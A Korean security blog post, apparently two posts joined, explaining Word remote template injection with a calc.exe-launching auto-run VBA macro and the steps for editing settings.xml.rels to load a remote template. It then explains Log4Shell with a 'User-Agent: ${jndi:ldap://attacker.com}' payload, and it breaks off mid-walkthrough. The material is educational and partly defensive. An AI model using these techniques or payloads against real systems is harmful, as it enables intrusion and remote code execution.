이번 게시물은 오피스 VBA 매크로 그 중에서 docx 문서에 대해서 다루어 보고자 합니다.
VBA는 비쥬얼 베이직 기반의 프로그래밍 언어로 MS ofiice 제품들의 자동화를 도와줍니다.
예로부터 계속되오던 공격인지라 MS 측에서는 2022년 2월 기본적으로 문서에서 매크로들을 비활성화도록 패치를 했습니다.
때문에 현 시점인 2022년 제품을 기준으로는 공격이 성공하기 어렵습니다.
하지만 모든 사용자가 업데이트 하지 않는 한 MS Office 프로그램 또한 최신버전으로 유지하되지는 않기에 향후 몇년간은 계속해서 사용될것으로 보여집니다.
About Remote Template Injection
Microsoft Word에는 템플릿이 존재하며 템플릿은 문서에서 사용하는 일종의 양식이자 틀입니다.
여기에는 Word Open XML이라는 매크로 사용, 템플릿 설정 등이 담겨 있는 dotm 파일이 존재합니다.
템플릿을 사용하는 Word는 문서를 읽고 쓸때마다 템플릿을 로컬 또는 원격 시스템에서 다운로드하여 사용합니다.
이때 dotm파일을 다운로드하는데 공격자는 이 점을 악용하여 문서가 악성 매크로를 포함한 템플릿 파일을 로드하여 문서를 빌드하도록 만들수 있습니다.
이 공격 기법은 2017년에 대두 되었으며 현재까지도 애용하는 기법입니다.
How to make Remote Template Injection
dotm 파일 생성 및 업로드
템플릿 파일생성
docx를 zip 파일로 변환후 word/\_rels/settings.xml.rels 파일을 수정
zip 파일을 다시금 docx 변환
Sub AutoOpen()
a
End Sub
Sub Document_Open()
a
End Sub
Sub a()
Dim wsh As Object
Set wsh = CreateObject("WScript.Shell")
wsh.Run ("calc.exe")
End Sub
우선은 새로운 문서에 위와 같이 매크로를 추가하여 계산기를 띄우는 매크로를 dotm 파일로 하나 생성 해줍니다.
해당 파일은 외부에서 호출하는 템플릿 파일로 사용할 것이니 개인 서버를 사용하여 업로드 해 줍니다.
템플릿중 하나를 선택하여 새로운 문서를 생성해줍니다.
docx를 zip 파일로 변환후 word/\_rels/settings.xml.rels 파일을 수정해줍니다.
이때 TargetMode가External로 설정이 되어 있어야 하며 Target의 url을 악성 dotm 즉, 개인 서버에 업로드한 dotm을 가리키도록 변경해줍니다.
그 후 다시 압축하여 확장자를 docx로 바꿔주면 됩니다.
Result
문서가 실행되며 편집사용이 뜨고 이를 클릭할시 계산기가 올라옵니다.
How to prevent
엔드포인트 AV/EDR 솔루션들로 탐지 가능
VBA 매크로 중 AutoOpen()과 Document_Open() 함수는 파일을 열자마자 매크로를 자동적으로 실행해주는데 2022년 기준으로 office 제품들은 이를 막기위해 MotW (Mark of the Web), Protected Views, Enable Content 등의 방어 기법을 사용합니다.
결국 VBA 매크로가 실행되는 것이기에 이에 초점을 두어야 패턴기반 탐지가 가능할것으로 보입니다.
2021-12-9일에 발견된 제로데이 취약점으로 알리바바 보안 팀에 의해 최초로 알려졌지만 ‘cloudflare’에 따르면 취약점이 발표되기 8일 전인 12월 1일부터 해킹에 사용되고 있었다고 합니다.
자바는 전 세계적으로 사용되는 프로그래밍 언어입니다. 거기에 더해 Log4j는 자바의 라이브러리에서 빈번하게 사용되는 패키지로 원격코드실행(RCE : Remote Code Execution)이 가능합니다.
서비스를 제공하는 회사 차원에서는 로그인을 비롯한 서칭, 접근 등 행위에 대한 모든 로그를 기록하는 것을 중요시합니다. 이때 사용되는 것이 바로 로그 기록의 프레임워크인 Log4j이며 이는 로그를 포맷팅, 필터링하고 애플리케이션의 파일로 이를 기록합니다.
Log4j 원리
해당 취약점은 유저의 입력을 신뢰하며 lookup이라는 기능이 사용된다는 점에서 문제가 발생하였습니다. 개발자는 로그를 기록할 때 메시지 데이터만 로그로 사용할 것으로 생각했던 거 같습니다. 하지만 Log4j 2.0 버전부터 JNDI를 이용하게 되면서 디렉터리 서비스에 접근하여 값을 변경하거나 객체를 다운받는 기능들이 제공되었고 이로 인해 본격적인 공격들이 시작되었습니다.
JNDI
Java Naming and Directory Interface의 약자로 클라이언트가 데이터나객체를 lookup 할 수 있는 Java API입니다. lookup이란 데이터 및 객체를 찾아 참고하는 작업 즉, 외부에 있는 객체를 가져오기 위한 기술입니다.
LDAP
Lightweight Directory Access Protocol의 앾자로 파일이나 여러정보를 검색할 수 있도록 해주는 프로토콜입니다. 이는 JNDI의 디렉터리 서비스로 자주 사용됩니다.
Log4j는 사용자의 입력값을 로그로 기록하는데 이때 입력된 JNDI는 lookup을 수행하며, ldap를 사용하여 외부 서버로 접근하게 되고 이는 곧 악성 행위 클래스를 내려받는 행위로 이어지게 됩니다.
Log4j 동작 과정
공격 과정 설명에 앞서 user-agent에 공격 벡터를 삽입한 이유는 피해 서버가 user-agent에 대해서 log.info를 출력한다는 가정하에 진행한 것입니다.
1. phase1에서 공격자는 Log4j 취약점을 내포하고 있는 서버에게 jndi:ldap 명령어가 삽입되어 동작하도록 log를 기록하는 user-agent의 값에 문자열로 구문을 입력합니다.
User-Agent: ${jndi:ldap://attacker.com}
2. 피해 서버에서는 Log4j 로깅 과정에서 ldap가 실행되어 공격자 서버로 접속하게 됩니다.